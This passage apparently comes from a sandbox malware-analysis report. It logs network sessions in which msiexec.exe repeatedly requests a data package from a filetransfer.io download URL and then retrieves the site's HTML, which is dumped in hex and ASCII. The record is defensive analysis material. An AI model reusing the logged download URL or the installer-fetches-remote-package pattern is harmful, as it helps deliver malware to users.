20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 74 72 6f 22 20 64 61 74 61 2d 6d 61 78 2d 75 70 6c 6f 61 64 2d 62 79 74 65 73 3d 22 36 34 34 32 34 35 30 39 34 34 22 3e 0a 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 2d 77 72 61 70 70 65 72 2d 6c 61 72 67 65 20 68 69 64 64 65 6e 22 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 21 2d 2d 20 2e 73 70 69 6e 6e 65 72 20 2d 2d 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 09 09 3c 68 31 3e 0a 09 09 09 09 09 09 53 69 6d 70 6c 65 20 61 6e 64 20 72 65 6c 69 61 62 6c 65 20 66 69 6c 65 26 6e 62 73 70 3b 74 72 61 6e 73 66 65 72 73 0a 09 09 09 09 09 09 3c 2f 68 31 3e 0a 0a 0a 09 09 09 09 09 3c 70 3e 0a 09 Data Ascii: div class="intro" data-max-upload-bytes="6442450944"><div class="spinner-wrapper-large hidden"><div class="spinner"></div>... .spinner --></div><h1>Simple and reliable file transfers</h1><p>
2025-01-10 19:14:56 UTC	493	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 75 6e 73 75 70 70 6f 72 74 65 64 2d 64 72 6f 70 22 3e 0a 09 09 09 09 09 54 68 69 73 20 66 69 6c 65 20 63 61 6e 6e 6f 74 20 62 65 20 64 72 61 67 67 65 64 2e 20 50 6c 65 61 73 65 20 73 65 6c 65 63 74 20 69 74 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 22 3c 73 74 72 6f 6e 67 3e 63 68 6f 6f 73 65 20 66 72 6f Data Ascii: n class="icon-times"></span></a></div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="unsupported-drop">This file cannot be dragged. Please select it by clicking the "<strong>choose fro
2025-01-10 19:14:56 UTC	1369	IN	Data Raw: 31 66 32 32 0d 0a 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 70 65 63 69 66 69 63 20 66 69 6c 65 73 20 69 74 20 63 6f 6e 74 61 69 6e 73 2e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 75 6c 74 69 70 6c 65 20 68 69 64 64 65 6e 22 Data Ascii: 1f22<span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the specific files it contains.</span><span class="multiple hidden"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	57980	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:57 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:57 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:57 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:57 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yMCa8%2FQcyJVC3e6T6MfEPQYrXe3EB3pHN7smXyG5qpiPsNunirvOTCpbxvgEZYvTxB2ToU81ZjjHnQsxyJ%2FJ0COeHcEMdowOZOHAsNZrthgdU8h1ziMgPQ%2BfhyEbuZPpDZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe372824422e-EWR
2025-01-10 19:14:57 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	57981	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:58 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:58 UTC	938	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: sjCQTYr9vLmgloRcM23i1DoEBf1FLIe3xJszR9e4NvtiamjOSdW1R6HT8k9/M92hUfHEJk3GsCc= x-amz-request-id: 9WA7XTJJ12G49PWG Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nBuUqn6zijNL87KDe8g7l1lLViLl5GLgDB9ZVkymrA4AuHKKZNOG0Kmtk1vDR4pUHMBE1othgyaeMUqqwzCdM3DxHmvss6IVPpscPUmCaszeB8BNl201jYF7n9QwgsMxlzU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe3c0e645e6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1713&min_rtt=1710&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1679125&cwnd=252&unsent_bytes=0&cid=3224dcad7687e329&ts=337&x=0"
2025-01-10 19:14:58 UTC	431	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 Data Ascii: set="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:description" c
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 Data Ascii: n-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><link r
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 0a 09 Data Ascii: eta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website">
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d 20 22 44 6f Data Ascii: you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave = "Do
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 79 2e 69 73 Data Ascii: .shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentry.is
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 73 Data Ascii: the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span><s
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 65 5f 5f 5f 5f 5f 5f 5f Data Ascii: n class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCode_______
2025-01-10 19:14:58 UTC	1369	IN	Data Raw: 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 09 09 3c 61 20 68 72 65 Data Ascii: </div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.<a hre
2025-01-10 19:14:58 UTC	62	IN	Data Raw: 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: rt-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	57982	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:59 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:59 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:59 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:59 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XjefmPzN0pADQ6gx4O7QMklxDno2XmNMXWFcwcjjHoaqvGLltxo5AlW4y8IKlcyRTMzc8fKliBV%2B0YlB67wLiKfHoWMkXXN%2BOzKSHtC4caOS8%2FgRdJJtbUbbXQQqb3Szh9c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe41a94343ac-EWR
2025-01-10 19:14:59 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	57983	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:00 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:00 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 9GYr3RpLK3HMlOHrkhFKDR7XCUu7zzfmYSQN8t/q0YHuBJpmVT1p800BXWa+CpsaoKbZW5a1AE4= x-amz-request-id: 95HQXX1BXWFE5322 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FS0DnPS4hOfao9L3DIUZCHtN3MUxV%2FeTTGX1G9gBhfxMIJlJo629x42VMkmnVAQafwnzKgU%2FmJrSyw1tIPFqjhCgGxxC9R3GsO%2BSMo%2B0CuHDmIJ3lp6T8yy%2F7%2FnK4PwMH28%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe457ef87292-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2027&rtt_var=765&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1440552&cwnd=252&unsent_bytes=0&cid=ecbee5dca99d7ced&ts=211&x=0"
2025-01-10 19:15:00 UTC	417	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
